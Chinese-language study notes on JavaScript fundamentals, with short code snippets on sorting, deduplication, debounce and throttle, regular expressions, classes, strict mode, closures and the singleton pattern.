quickSort([9,8,5,3,1]) // [1,3,5,8,9]
// 用es6语法
function quickSortRecursion (arr) {
if (!arr || arr.length < 2) return arr;
const pivot = arr.pop();
let left = arr.filter(item => item < pivot);
let right = arr.filter(item => item >= pivot);
return quickSortRecursion(left).concat([pivot], quickSortRecursion(right));
}
注意阮一峰老师的思路:
深度优先遍历和广度优先遍历
树形结构一般有两种遍历方法,深度优先遍历和广度优先遍历
所谓深度优先就是先选择一个子树纵向遍历,而广度优先则是同级别横向遍历。
常用算法
// 2、数组去重
// 2.1,利用forEach,将数组的元素取出来作为对象的key,然后赋予任意值,最后获取key列表
var uniqueArr = arr => {
let obj = {}
arr.forEach((val) => {
obj[val] = 0
})
// 注意,返回的是可枚举的字符串数组
return Object.keys(obj)
}
// 2.2,filter,indexOf只会返回第一个匹配数据的index
// 因此即使有多个相同的,也只会返回第一个
var uniqueArr = arr => {
// Array.prototype.filter(callback(element[, index[, array]])[, thisArg])
// 注意可选参数的意义;thisArg为执行callback时this值
return arr.filter((ele, index, array) => {
return index === array.indexOf(ele)
})
}
// 2.3,set
var uniqueArr = arr => {
// 注意只适用于数组为基本数据类型的
return [...new Set(arr)]
}
// 2.4,reduce
// Array.prototype.reduce(callback(accumulator,currentValue[, currentIndex[, array]])[, initialValue])
// accumulator是累计器最终的值,若initialValue没传则默认取数组第一项,currentValue则自动为第二项
// 下面给累加器传的值是一个对象,相当于2.1方法的另外一种方式
var uniqueArr = arr.reduce((map,item) => {
map[item] = 0
// 不能在里面直接返回Object.keys(map)
// 因为这里返回的map会依然作为下次迭代的初始值
return map;
}, {})
Object.keys(uniqueArr)
// 3、字符串反转
var reverseString = str => {
return [...str].reverse().join('')
}
// 4、统计一个字符串中出现频率最高的字母或数字
var strChar = str => {
let string = [...str],
maxVal = '',
obj = {},
max = 0;
string.forEach( val => {
obj[val] = obj[val] === undefined ? 1 : obj[val] + 1
if(obj[val] > max){
max = obj[val]
maxVal = val
}
})
return maxVal
}
常用函数
// 防抖
// 小于设置的interval时间间隔都不会触发,因为clearTimeout了
// 注意执行clearTimeout后,fn.timerId的值仍然存在,因为这是变量,和队列里的任务没有关系
function debounce(fn, interval = 300) {
return (...args) => {
clearTimeout(fn.timerId)
fn.timerId = setTimeout(() => {
fn.apply(this, args)
},interval)
}
}
window.onresize = debounce(test, 500)
window.onresize = debounce(()=>{console.log('resizing')},500)
window.addEventListener('resize',debounce(()=>{console.log('resizing')},500))
// 节流
throttle(fn, context) {
clearTimeout( fn.tId );
fn.tId = setTimeout(() => {
fn.call( context );
}, 300 );
}
function throttle(fn, interval) {
// let canRun = null // 注意这里canRun不是null
let canRun = true;
return function (...args) {
// !canRun && return // 这样写错误
if(!canRun) return
canRun = false;
setTimeout(()=>{
fn.apply(this, args);
canRun = true;
},interval)
}
}
window.onresize = throttle(()=>{console.log('resizing')})
//这里的e就是resize事件,但这里打印的是[object Event],因为``里面是字符串
window.onresize = throttle((e)=>{console.log('resizing',`e is ${e}`)})
// 实现lodash的get方法,
// Gets the value at path of object. If the resolved value is undefined, the defaultValue is returned in its place.
// _.get(object, path, [defaultValue])
function deepGet ( object, path, defaultValue ) {
return ( !Array.isArray( path ) ? path.replace( /\[/g, '.' ).replace( /\]/g, '' ).split( '.' ) : path )
.reduce( (o, k) => ( o || {} )[k], object ) || defaultValue;
}
var obj = { 'a': [ { 'b': { 'c': 3 } } ] };
var result = deepGet( obj, 'a[0].b.c' );
console.log( result );
// => 3
result=deepGet(obj, ['a', '0', 'b', 'c']);
console.log(result);
// => 3
result=deepGet(obj, 'a.b.c', 'default');
console.log(result);
// => default
常见转换
- 因为!运算符的优先级比较高,所以表达式右侧先运行![],得出false,表达式变为[] == false
- 强制将false转换为0,表达式变为[] == 0
- 将[]强制转换为原始类型后为”“,表达式变为”” == 0
- 将”“转换为Number类型,表达式变为0 == 0
- 两侧类型相同,直接返回0 === 0的结果true
0.1+0.2 != .3?:
- 为什么0.1 + 0.2 不等于0.3。因为计算机不能精确表示0.1, 0.2这样的浮点数,计算时使用的是带有舍入误差的数
- 并不是所有的浮点数在计算机内部都存在舍入误差,比如0.5就没有舍入误差
- 具有舍入误差的运算结可能会符合我们的期望,原因可能是“负负得正”
- 怎么办?1个办法是使用整型代替浮点数计算;2是不要直接比较两个浮点数,而应该使用bignumber.js这样的浮点数运算库
- 有一个标准IEEE754
0.1在计算机内部是如何表示的?
但是可以通过一些第三方类库解决,或者用原生的方式避免
parseFloat((数学表达式).toFixed(digits)); // toFixed() 精度参数须在 0 与20 之间
// 运行
parseFloat((0.1 + 0.2).toFixed(10))//结果为0.3
parseFloat((0.3 / 0.1).toFixed(10)) // 结果为 3
parseFloat((0.7 * 180).toFixed(10))//结果为126
parseFloat((1.0 - 0.9).toFixed(10)) // 结果为 0.1
parseFloat((9.7 * 100).toFixed(10)) // 结果为 970
parseFloat((2.22 + 0.1).toFixed(10)) // 结果为 2.32
Number(parseFloat((2.22 + 0.1).toFixed(10))) // 结果为2.32数字格式
Number(parseFloat((0.2 + 0.1).toPrecision(1)) // 结果为0.3数字格式,toPrecision(位数)设置精度的
柯理化函数思想是一种编程思想,体现出JS的预处理机制,预处理什么呢?就是把多参数的函数变成一个接受单一参数的函数。
其实更多的是预处理this指向的问题,处理this指向问题,JS提供了两个方法call() 和 apply() 方法,两个区别在于后者传参是以数组形式传递进去的,前者是单个传入;共同点就是都是在改变this指向的同时将方法运行。
但是有时候并不想让方法立即执行,这个时候使用H5中新增的方法bind() ,bind方法体现出了柯理化函数思想,通俗点就是他可以将函数中的this指向改变但同时不立即运行方法,等需要运行的时候再运行。使用bind,返回改变上下文this后的函数
null和undefined
参考:null和undefined的由来及区别
只所以:typeof null返回”object”,因为不同的对象在底层都表示为二进制,在 JavaScript 中二进制前三位都为 0 的话会被判 断为 object 类型,null 的二进制表示是全 0,自然前三位也是 0,所以执行 typeof 时会返回“object”。
null表示”没有对象”,即该处不应该有值。undefined表示”缺少值”,就是此处应该有一个值,但是还没有定义
数组方法
- forEach(fn)遍历数组,
- pop()删除最后一个并返回元素
- shift()删除第一个并返回元素
- unshift()在头部增加一个元素,返回数组长度
- indexOf查找并返回索引(字符串也可以用)
- splice(pos, 1)通过索引删除一个元素并返回删除元素组成的数组,省略数量则截取开始到结束的数组并返回,还可以在删除的位置添加元素,改变原数组。负数则反向
- slice([begin[,end]])前包后不包,都省则浅复制
- reverse()反转数组
- toString()返回一个字符串,表示指定的数组及其元素
- Array.from() 方法从一个类似数组或可迭代对象中创建一个新的数组实例
- Array.of() 方法创建一个具有可变数量参数的新数组实例,而不考虑参数的数量或类型
- find() 方法返回数组中满足提供的测试函数的第一个元素的值。否则返回 undefined
- arr.flat([depth])方法会递归到指定深度将所有子数组连接,并返回一个新数组。(扁平化嵌套数组)
- 可以使用数组的length属性截取数组,清空数组(等0)
JavaScript 数组的 length 属性和其数字下标之间有着紧密的联系。数组内置的几个方法(例如 join、slice、indexOf 等)都会考虑 length 的值。另外还有一些方法(例如 push、splice 等)还会改变 length 的值。
注意:不要使用delete删除数组的元素,因为使用 delete 只是用 undefined 来替换掉原有的项,并不是真正的从数组中删除。
var items = [12, 548 ,'a' , 2 , 5478 , 'foo' , 8852, , 'Doe' ,2154 , 119 ];
items.length; // return 11
delete items[3]; // return true
items.length; // return 11
items.splice(3,1) // [2]
items.length; // return 10
map方法:
var new_array = arr.map(function callback(currentValue[, index[, array]]) {
// Return element for new_array
}[, thisArg])
// 编写一个程序将数组扁平化去并除其中重复部分数据,最终得到一个升序且不重复的数组
var arr = [ [1, 2, 2], [3, 4, 5, 5], [6, 7, 8, 9, [11, 12, [12, 13, [14] ] ] ], 10];
// Set的参数可以是数组还可以是伪数组,Infinity是正无穷大,返回不重复数组
// Array.from接受伪数组,返回数组实例
Array.from(new Set(arr.flat(Infinity))).sort((a,b)=>{ return a-b})
for in与for of循环区别
遍历数组通常使用for循环,es5也可以使用forEach,只是forEach遍历数组无法break(使用会报Illegal break statement
错误),使用return也无法回到外层函数(只是当前循环return后面的语句不执行了,下一次的循环依然会执行)
var arr = [1,2,3,4]
arr.forEach(item => {
if(item == 2){ break }
console.log(item)
})
// Uncaught SyntaxError: Illegal break statement
arr.forEach(item => {
if(item == 2){ return 22 }
console.log(item)
})
// 1 3 4
for in
更适合遍历对象,遍历数组会有以下问题:
- index索引为字符串数字,不能直接进行几何运算
- 使用for in会遍历数组所有的可枚举属性,包括原型。
- 遍历顺序有可能不是按照实际数组的内部顺序
var arr = [1,2,3,4]
arr.test = 'test me'
for(item in arr){
// 即可以跳出整个循环
if(item == 2) break
// 打印的字符串的key,如果有属性,也会将属性的key打印出来
console.log(item, typeof(item))
}
// 0 string
// 1 string
// 定义数组后,还可以用
Object.defineProperty(arr,'newKey',{
value : 'this is newKew value',
enumerable : true //可枚举,默认false
})
// 此时数组为
[1, 2, 3, 4, newKey: "this is newKew value"]
注意:因为数组用for in循环其实打印的是索引,索引的话肯定是有顺序的,因此针对第三条并准确
但是如果用for in遍历对象的话,因为Chrome、 sarari、 firebox、 Opera 中使用 for-in 语句遍历对象属性时会遵循一个规律,它们会先提取所有 key 的 parseFloat 值为非负整数的属性, 然后根据数字顺序对属性排序首先遍历出来,然后按照对象定义的顺序遍历余下的所有属性。
var arr = {b:'bb' ,a:'aa' ,"3":33 ,'1':11}
for(var item in arr){console.log(item)}
// 1
// 3
// b
// a
注意:从以上代码可以看出,经过parseFloat转化后的非负整数3和1,排序就变成了1,3。。。但b和a的顺序还是没有改变
综上如果想遍历数组又想按顺序的话,可以用for of
来执行
var arr1 = [ '2', '1', 'b', 'a']
for(var item of arr1) console.log(item)
// 2 1 b a
for...of
语句在可迭代对象(包括 Array,Map,Set,String,TypedArray,arguments 对象等等)上创建一个迭代循环,调用自定义迭代钩子,并为每个不同属性的值执行语句。。。因此对于可迭代的对象,都能用来执行
,而普通的{}对象不可以,会报错xxx is not iterable
常用正则
参考:regExp对象(阮一峰)、[通俗的正则][commonRegexUrl]、[正则表达式全集][allRegexUnitUrl]、[mdn正则表达式][mdnRegexUrl]
正则其实是有规律可循的,主要由以下几部分组成:
// 1. 元字符(构成正则的基本元素
// 1.1、 . 匹配除换行符(\n),回车(\r),行分隔符(\u2028),段分隔符(\u2029)以外的任意字符
// 1.2、 \w 匹配包括下划线的任何单词字符,等价于[A-Za-z0-9_]
// 1.3、 \W 匹配任何非单词字符,等价于[^A-Za-z0-9_]
// 1.4、 \s 匹配任意的空白符(空格,制表符,换页符)
// 1.5、 \b 匹配单词的开始或结束(/\ba/.test('ab') ; /a\b/.test('da'))
// 1.6、 ^ 匹配字符串的开始
// 1.7、 $ 匹配字符串的结束
// 利用基本元素可以写简单的正则表达式
\abc或者^abc // 匹配有abc开头的字符串
^\d\d\d\d\d\d\d\d$ // 匹配8位数字的QQ号码
^1\d\d\d\d\d\d\d\d\d\d$ // 匹配1开头11位数字的手机号码
// 2. 重复限定符
// 2.1、 * 重复0次或更多次
// 2.2、 + 重复一次或更多次
// 2.3、 ?重复0次或一次
// 2.4、 {n}重复n次
// 2.5、 {n,}重复n次或更多次
// 2.6、 {n,m}重复n到m次
// 改造上面的正则表达式
\d{8}$ // 匹配8位数字的QQ号码
^1\d{10}$ // 匹配1开头11位数字的手机号码
^\d{14,18}$ // 匹配14~18位的数字
^ab*$ // 匹配a开头,0个或多个b结尾的字符串
// 注意查看下面的,或许因为数字太大,js引擎在匹配之前做了一层转化
/^1\d{10}/.test(176108358151234567892) // true
/^1\d{10}/.test(1761083581512345678923) // false
console.log(Number(1761083581512345678923)) // 1.7610835815123457e+21
/^1\d{10}/.test(1.7610835815123457e+21) // false
// 3. 分组
// 3.1、 (pattern)匹配pattern并获取这一匹配
// ^(ab)* // 匹配0个或多个ab开头
// 4. 转义
^(\(ab\))* // 匹配0个或多个(ab)开头
// 5. 条件或符号
5.1 ^(130|131|132|155|156|185|186|145|176)\d{8}$
// 6. 区间
^((13[0-2])|(15[56])|(18[5-6])|145|176)\d{8}$
// 6.1 限定0-9范围可以为 [0-9]
// 6.2 限定a-z范围可以为 [a-z]
// 6.3 限定某些数字 [165]
// 正则实例对象的几种方法
// 1. exec 在字符串中查找,返回数组(成员是匹配成功的子字符串),未匹配到返回null
// 1-1. exec 在字符串中查找,返回数组(未匹配到返回null)
var s = '_x_x';
var r1 = /x/;
var r2 = /y/;
r1.exec(s) // ["x"]
r2.exec(s) // null
// 1-2. 正则表示式包含圆括号(即含有“组匹配”),则返回的数组会包括多个成员,第一个成员是整个匹配的结果,成员二是圆括号里规则里匹配的内容。。。
// 也就是说,第二个成员对应第一个括号,第三个成员对应第二个括号。
var r = /a(b+)a/;
var arr = r.exec('_abbba_aba_');
arr // ["abbba", "bbb"] // 第一个括号匹配的就是bbb
// 另外返回的数组实例,还有两个属性
arr.index // 1,整个模式匹配成功的开始位置
arr.input // "_abbba_aba_",整个原字符串
// 利用g修饰符,允许多次匹配
var reg = /a/g;
var str = 'abc_abc_abc'
while(true) {
var match = reg.exec(str);
if (!match) break;
console.log('#' + match.index + ':' + match[0]);
}
// #0:a
// #4:a
// #8:a
// 注意:lastIndex是正则实例的属性
// 2. test 测试是否包含指定字符串,返回true或false
// 2-1. 带有g修饰符,则每一次test方法都从上一次结束的位置开始向后匹配
// 2-2. 带有g修饰符,可通过正则对象的lastIndex属性指定开始搜索的位置。
// 2-3. 正则模式是一个空字符串,则匹配所有字符串
// 3. match 在字符串中查找,返回数组,未匹配到返回null,
// 3-1. 字符串的match与正则的exec相似
// 3-2. 但若带g修饰符,match会一次性返回所有匹配成功的结果
var s = 'abba';
var r = /a/g;
s.match(r) // ["a", "a"]
r.exec(s) // ["a"]
// 3-3. 设置正则表达式的lastIndex,此时无效,始终从0开始
// 4. search 在字符串中查找,返回第一个匹配到的位置索引(失败返回-1)
// 5. replace替换匹配到的值,参数一是正则,参数二是替换的内容
// 5-1. 不加g,替换第一个匹配成功的值。或者替换所有
// 5-2. 参数二可以用美元符号$,用来表示所替换的内容
// $&:匹配的子字符串。
// $`:匹配结果前面的文本。
// $’:匹配结果后面的文本。
// $n:匹配成功的第n组内容,n是从1开始的自然数。
// $$:指代美元符号$。
'hello world'.replace(/(\w+)\s(\w+)/, '$2 $1')
// "world hello"
'abc'.replace('b', '[$`-$&-$\']')
// "a[a-b-c]c",
// 这里匹配结果是b,因此$`表示b的前面,就是a
// 而$\'表示b的后面,也就是c
// 正则匹配手机号,脱敏
var str = "18912341234";
var pat = /(\d{3})\d*(\d{4})/; // 必须带括号,表示分组
var result = str.replace(pat,'$1****$2');
result ;// 189****1234
// 格式化人民币
const FormatMoney = (s)=> {
if (/[^0-9\.]/.test(s)) return "invalid value";
s = s.replace(/^(\d*)$/, "$1.");
s = (s + "00").replace(/(\d*\.\d\d)\d*/, "$1");
s = s.replace(".", ",");
var re = /(\d)(\d{3},)/;
while (re.test(s)) {
s = s.replace(re, "$1,$2");
}
s = s.replace(/,(\d\d)$/, ".$1");
return s.replace(/^\./, "0.")
}
// 5-3. 参数二还可以是函数
'3 and 5'.replace(/[0-9]+/g, function (match) {
return 2 * match;
})
// "6 and 10"
var a = 'The quick brown fox jumped over the lazy dog.';
var pattern = /quick|brown|lazy/ig;
a.replace(pattern, function replacer(match) {
return match.toUpperCase();
});
// The QUICK BROWN fox jumped over the LAZY dog.
function toHump ( name ) {
return name.replace( /\_(\w)/g, function ( all, letter ) {
return letter.toUpperCase();
} );
}
'hello-world-a'.replace(/-(\w)/g, (all,letter) => {console.log(all,letter)});
// -w w
// -a a
'hello_world-a'.replace(/[-|_](\w)/g, (all,letter) => {return letter.toUpperCase()})
"helloWorldA"
"-a_bc-e_f-".replace(/[-|_](\w)?/g, function(all, letter) {
return letter ? letter.toUpperCase() : "";
});
"ABcEF"
// 驼峰转换下划线
function toLine ( name ) {
return name.replace( /([A-Z])/g, "_$1" ).toLowerCase();
}
"aBcDfe".replace(/([A-Z])/g, (all, letter) => {
return `-${letter.toUpperCase()}`;
});
// 匹配url的query字符串
function getQuery() {
// 若包含则为true
let query = ~location.href.indexOf("?") ? location.search.slice(1) : "";
let reg = /([^&=]+)=?([^&]*)/g;
let obj = Object.create(null);
query.replace(reg, function(all, key, val) {
// all是完全匹配的字符串,key是组一,val是组二
// 防止浏览器编码
obj[decodeURIComponent(key)] = decodeURIComponent(val);
});
return obj;
}
// 6. split 在字符串中查找指定字符,并且以指定字符切割字符串,返回切割后的字符串数组(不含被切字符)
// 6-1. 参数一时正则,参数二是返回数组的最大成员数量
// 非正则分隔
'a, b,c, d'.split(',')
// [ 'a', ' b', 'c', ' d' ]
// 正则分隔,去除多余的空格
'a, b,c, d'.split(/, */)
// [ 'a', 'b', 'c', 'd' ]
// 指定返回数组的最大成员
'a, b,c, d'.split(/, */, 2)
[ 'a', 'b' ]
// 例一
'aaa*a*'.split(/a*/)
// [ '', '*', '*' ]
// 例一的第一个分隔符是aaa,第二个分割符是a,将字符串分成三个部分,包含开始处的空字符串
// 例二
'aaa**a*'.split(/a*/)
// ["", "*", "*", "*"]
// 例二的第一个分隔符是aaa,第二个分隔符是0个a(即空字符),第三个分隔符是a,所以将字符串分成四个部分。
// 如果正则表达式带有括号,则括号匹配的部分也会作为数组成员返回。
'aaa*a*'.split(/(a*)/)
// [ '', 'aaa', '*', 'a', '*' ]
// 7. 贪婪模式
var s = 'aaa';
s.match(/a+/) // ["aaa"]
// 上面代码中,模式是/a+/,表示匹配1个a或多个a,那么到底会匹配几个a呢?
// 因为默认是贪婪模式,会一直匹配到字符a不出现为止,所以匹配结果是3个a。
// 如果想将贪婪模式改为非贪婪模式,可以在量词符后面加一个问号。
var s = 'aaa';
s.match(/a+?/) // ["a"]
// 模式结尾添加了一个问号/a+?/,这时就改为非贪婪模式,一旦条件满足,就不再往下匹配。
// 除了非贪婪模式的加号,还有非贪婪模式的星号(*)。
// *?:表示某个模式出现0次或多次,匹配时采用非贪婪模式。
// +?:表示某个模式出现1次或多次,匹配时采用非贪婪模式。
function formatNumber(val) {
var num = val + '';
var str = '';
var ret = num.split('.');
if (ret[0] !== undefined) {
// \B是非单词边界,这里没有意义
str = ret[0].replace(/\B(?=(?:\d{3})+$)/g, ',');
if (ret[1]) {
str += '.' + ret[1];
}
}
return str;
}
// 8. 组匹配
// 正则表达式的括号表示分组匹配,括号中的模式可以用来匹配分组的内容
/fred+/.test('fredd'); // true
/(fred)+/.test('fredfred'); // true
var m = 'abcabc'.match(/(.)b(.)/);
m ;// ['abc', 'a', 'c']
// 正则表达式/(.)b(.)/一共使用两个括号,第一个括号捕获a,第二个括号捕获c。
// 使用组匹配,不宜使用g修饰符,否则match方法不会捕获分组的内容。
var m = 'abcabc'.match(/(.)b(.)/g);
m ;// ['abc', 'abc']
// 可以用\n引用括号匹配的内容,n是从1开始的自然数,表示对应顺序的括号。
/(.)b(.)\1b\2/.test("abcabc");
// true
// \1表示第一个括号匹配的内容(即a),\2表示第二个括号匹配的内容(即c)。
/y(..)(.)\2\1/.test('yabccab') // true,此时\2就是c,\1就是ab
/y((..)\2)\1/.test('yabababab') // true
// 面代码中,\1指向外层括号,\2指向内层括号。
// 8-1. 组匹配之非捕获组
// (?:x)称为非捕获组,表示不返回该组匹配的内容,即匹配的结果中不计入这个括号。
// 使用场景,假定需要匹配foo或者foofoo,正则表达式就应该写成/(foo){1, 2}/
// 但这样就会占用一个组匹配。这时就可以这样:/(?:foo){1, 2}/
var m1 = 'abc'.match(/(.)b(.)/);
m1; // ["abc", "a", "c"]
var m = 'abc'.match(/(?:.)b(.)/);
m // ["abc", "c"]
// 使用非捕获组,所以最终返回的结果中就没有第一个括号。
// x(?=y)称为先行断言,x只有在y前面才匹配,y不会被计入返回结果。
var m = 'abc'.match(/b(?=c)/);
m // ["b"]
var m = 'abc'.match(/b(c)/);
m // ["bc", "b"]
// x(?!y)称为先行否定断言,x只有不在y前面才匹配,y不会被计入返回结果。
/\d+(?!\.)/.exec('3.14') // ["14"]
基于对象与OOP(面向对象)
js的核心是支持面向对象,但准确来说是基于对象
oop(object oriented programming)面向对象编程是用抽象方式创建基于现实世界模型的一种编程方式。
基于对象,就是一个工程师建了一栋房子,然后其它的工程师按照这个房子的样子去建造其它的房子
面向对象,就是一个工程师再图纸上设计出一栋房子的样子,然后其它工程师按照这个图纸的设计去建造房子
也就是说:
基于对象是先有一个具体的对象,然后在这个对象的基础上创建新的对象
面向对象就是先有一个抽象的对象描述,然后以此为蓝本构建具体对象
一般的面向对象语言 中的类的概念 都是 一个 抽象的声明,当 new 出来一个对象的时候,就是依据 类的声明给造出来的,就像是模子里面刻出来的。
javascript是基于对象的,那么它所有的对象都是从原型对象继承而来,和原型模式大概相似,Javascript的动态特性,可以随时的给对象的原型添加方法或属性,然后new出来的对象就有了。
但作为es6的class,其实并不能说是面向对象,可以将class看成一个语法糖,新的class写法只是让对象原型的写法更加清晰,更像面向对象编程的语法而已,如下:
// 构造函数
function Point (x) {
this.x = x
}
// 给原型添加属性
Point.prototype.toString = function () {
return `this.x is ${this.x}`
}
// class写法
class Point {
// 构造函数
constructor (x) {
this.x = x
}
// 直接添加方法
toString () {
return `this.x is ${this.x}`
}
}
// 实例化
var newPoint = new Point('test')
newPoint.toString() // this.x is test
// super关键字是用于访问和调用一个对象的父对象上的函数
// class实现继承是通过 extends
class colorPoint extends Point {
constructor (x, color) {
super(x)
this.color = color
}
toString () {
return `this.color is ${this.color} & ${super.toString()}`
}
}
严格模式(‘use strict’) 严格模式不仅仅是一个子集,它的产生是为了形成与正常代码不同的语义。常见的规则如下
- 未声明而直接被赋值的情况将报错
- 八进制012模式将不会允许,新模式为拼接’0o’,即0o12
- 对象中的属性名必须唯一
- 函数的参数名必须唯一
- 禁止删除已声明的变量
- arguments对象只会保存函数被调用时的原始参数,且再修改无效
- 不再支持arguments.callee(非严格模式下,指向正在执行的函数)
- 通过this传递给一个函数的值不会被强制转换为一个对象
我们应该知道,在非严格模式下,对于普通的函数来说,this总会是一个对象。。。不管调用函数时,this它本来就是一个对象,还是用布尔值,字符串或者数字等,调用函数时,函数里面this都会被封装成对象;即使使用undefined或者null调用函数时,this代表的全局对象(使用call, apply或者bind方法来指定一个确定的this)。这种自动转化为对象的过程不仅是一种性能上的损耗,同时在浏览器中暴露出全局对象也会成为安全隐患,因为全局对象提供了访问那些所谓安全的JavaScript环境必须限制的功能的途径。所以对于一个开启严格模式的函数,指定的this不再被封装为对象,而且如果没有指定this的话它值是undefined,但是如果你指定null,undefined,true则this分别是null,undefined,Boolean
'use strict'
function getValType(val){
return Object.prototype.toString.call(val).slice(8,-1)
}
function my(){
return this
}
console.log(my() === window) // false
console.log(my() === undefined) // true
console.log(getValType(my.call(1))) // Number
console.log(getValType(my.apply(null))) // Null
console.log(getValType(my.apply(undefined))) // Undefined
console.log(getValType(my.bind(true)())) // Boolean
// 非严格模式
console.log(my() === window) // true
console.log(my() === undefined) // false
console.log(getValType(my.call(1))) // Number
console.log(getValType(my.apply(null))) // Window
console.log(getValType(my.apply(undefined))) // Window
console.log(getValType(my.bind(true)())) // Boolean
另外严格模式下,一部分字符变为保留的关键字,这些字符包括implements, interface, let, package, private, protected, public, static和yield等
es6引入的class类实质上是js现有的基于原型继承的语法糖,类语法不会为js引入新的面向对象的继承模型。。。
类的定义有两种方式
// 方式一:类声明
class Rectangle {
constructor(height, width) {
this.height = height;
this.width = width;
}
}
// 方式二:类表达式(匿名类,命名类)
/* 匿名类 */
let Rectangle = class {
constructor(height, width) {
// ...
}
};
/* 命名的类 */
let Rectangle = class Rectangle {
constructor(height, width) {
// ...
}
};
务必注意:类class没有变量提升;类声明和类表达式的主体(其实就是定义类的具体的内容)都执行在严格模式下,比如构造函数,静态方法,原型方法,getter和setter都在严格模式下执行,也就意味着,this在严格模式下并不会自动被包装成对象。。。根据默认绑定this规则,此时this会绑定到undefined上,因此为了防止这样,需要用下面的super方法。
务必注意:在使用extends扩展子类时,子类如果有constructor,则必须先调用super方法,否则新建实例时会报错。这是因为子类自己的this对象,必须先通过父类的构造函数完成塑造,得到与父类同样的实例属性和方法,然后再对其进行加工,加上子类自己的实例属性和方法。如果不调用super方法,子类就得不到this对象。
- super([arguments]) // 调用父类或父对象的构造函数,参数作为构造函数的参数传入,而且只能在子类的构造函数里调用
- super.functionOnParent([arguments]) // 指定父类或父对象上的方法并调用,可以在子类的任何地方调用
高阶函数:
在js中,函数可以指向某个变量,同时函数的参数可以接受变量,难么一个函数就可以接受另一个函数作为参数,这种函数就叫高阶函数,
沙箱、闭包
从语言学的角度上来说,允许代码无节制地使用全局变量,是最错误的选择之一。而更可怕的,就是一个变量”可能”成为全局的(在未知的时间与地点)。但是这两项,却伴随JavaScript这门语言成功地走到了现在。
也许是限于浏览器应用的规模,所以这一切还迟迟没有酿成灾难。在此之前,出现了两种解决方案。一种是ECMA在新的规范(Edition 5)中对此做出了限制,其中最重要的一条便是eval()的使用变得不再随意和无度。而另一种方案,则是相对没有那么官僚与学术的,尽管也拥有一个同样学术的名字:沙箱。
沙箱(Sandbox)并不是一个新东西,即使对于JavaScript来说,也已经存在了相当长的时间。在SpiderMonkey(第一款JavaScript引擎) JS的源代码中,就明确地将一个闭包描述为一个沙箱。这包含着许多潜在的信息:它有一个初始环境,可以被重置,可以被复制,以及最重要的,在它内部的所有操作,不会影响到外部。
当然事实上远非如此。JavaScript里的闭包只是一个”貌似沙箱”的东西–仍然是出于JavaScript早期的语言规范的问题,闭包不得不允许那些”合法泄漏”给外部的东西。
Sandbox中文沙箱或沙盘,Sandbox是一种虚拟的程序运行环境,用以隔离可疑软件中的病毒或者对计算机有害的行为。比如浏览器就是一个Sandbox环境,它加载并执行远程的代码,但对其加以诸多限制,比如禁止跨域请求、不允许读写本地文件等等。这个概念也会被引用至模块化开发的设计中,让各个模块能相对独立地拥有自己的执行环境而不互相干扰。
第一种比较传统的实现模块化的方式便是Namespacing。
var myApp = {};
myApp.module1 = function(){};
通过前缀式的名称解析可以达到调用不同的模块,并且不同的模块变量环境被封装到了对应的全局变量属性中。然而这并不是真正意义上的Sandbox,这样的做法最终仍然需要暴露出一个全局变量(即myApp),这对所有的模块是透明的,埋下了全局环境被污染的隐患。
那么有没有别的方法可以将变量的作用域隔离开呢?
众所周知,JavaScript变量的作用域是函数体,因此,利用函数体将执行环境包裹起来便成了实现Sandbox的一种可行方案,当然最好的方式还是iframe… 具体参考:[js的沙箱内容(掘金)][JavaScriptSandboxUrl]、[漫谈沙箱][justTalkSandboxUrl]
MDN 上面这么说:闭包是一种特殊的对象。它由两部分构成:函数,以及创建该函数的环境。环境由闭包创建时在作用域中的任何局部变量组成。
function f1(){
var n = 999
return f2(){
alert(n)
}
}
var result = f1()
result() // 999
上述代码里f2函数就是闭包,其实可以这样理解闭包:闭包是将函数内部与函数外部连接起来的桥梁,闭包是能够读取其他函数内部变量的函数,闭包是定义在一个函数内部的函数。
闭包注意点:
- 闭包会使得函数中的变量都被保存在内存中,内存消耗很大
- 闭包会在父函数外部,改变父函数内部变量的值
常用设计模式
参考:js十大常用设计模式、
工厂模式:解决实例化多个类似对象产生重复的问题,如下
function CreatePerson(name,age,sex) {
var obj = {};
obj.name = name;
obj.age = age;
obj.sex = sex;
obj.sayName = function(){
return this.name;
}
return obj;
}
var p1 = new CreatePerson("longen",'28','男');
var p2 = new CreatePerson("tugenhua",'27','女');
单体模式:将代码组织为一个逻辑单元的手段,这个逻辑单元中的代码可以通过单一变量进行访问。
- 可以用来划分命名空间,减少全局变量的数量。
- 使用单体模式可以使代码组织的更为一致,使代码容易阅读和维护。
- 可以被实例化,且实例化一次。
// 单体模式
var Singleton = function(name){
this.name = name;
};
Singleton.prototype.getName = function(){
return this.name;
}
// 获取实例对象
var getInstance = (function() {
var instance = null;
return function(name) {
if(!instance) {
instance = new Singleton(name);
}
return instance;
}
// getInstance是自执行函数,定义的时候就执行了
})();
// 测试单体模式的实例
var a = getInstance("aa");
var b = getInstance("bb");
console.log(a === b); // true
// 常规模式创建弹层
var createWindow = function(){
var div = document.createElement("div");
div.innerHTML = "我是弹窗内容";
div.style.display = 'none';
document.body.appendChild('div');
return div;
};
document.getElementById("Id").onclick = function(){
// 点击后先创建一个div元素
var win = createWindow();
win.style.display = "block";
}
// 常规创建弹层时,若多次点击则创建多个,若通过移除再创建则造成性能浪费
// 单例模式创建弹层
var createWindow = (function () {
var div
return function(){
if(!div){
div = document.createElement('div')
div.innerHTML = '这是弹层内容'
div.style.display = 'none'
document.body.appendChild(div)
}
return div
}
})()
document.getElementById("Id").onclick = function(){
// 点击后先创建一个div元素
var win = createWindow();
win.style.display = "block";
}
// 我们还可以再进一步抽离,比如如果此时要创建一个iframe元素,难道要重新写一遍上面的代码?
// 因此,虽然创建具体元素的代码不同,但单例模式的代码框架是相同的,如下
var getInstance = function(fn) {
var result;
return function(){
// 有则返回,无则调用具体的创建代码
return result || (result = fn.call(this,arguments));
}
};
// 创建div
var createWindow = function(){
var div = document.createElement("div");
div.innerHTML = "我是弹窗内容";
div.style.display = 'none';
document.body.appendChild(div);
return div;
};
// 创建iframe
var createIframe = function(){
var iframe = document.createElement("iframe");
document.body.appendChild(iframe);
return iframe;
};
// 测试创建div
var createSingleDiv = getInstance(createWindow);
document.getElementById("Id").onclick = function(){
var win = createSingleDiv();
win.style.display = "block";
};
// 测试创建iframe
var createSingleIframe = getInstance(createIframe);
document.getElementById("Id").onclick = function(){
var win = createSingleIframe();
win.src = "http://cnblogs.com";
};
注意iframe一些缺点:
- iframe会阻塞主页面的Onload事件;
- iframe和主页面共享连接池,而浏览器对相同域的连接有限制,所以会影响页面的并行加载。 如果需要使用iframe,最好是通过javascript动态给iframe添加src属性值,这样可以可以绕开以上两个问题。
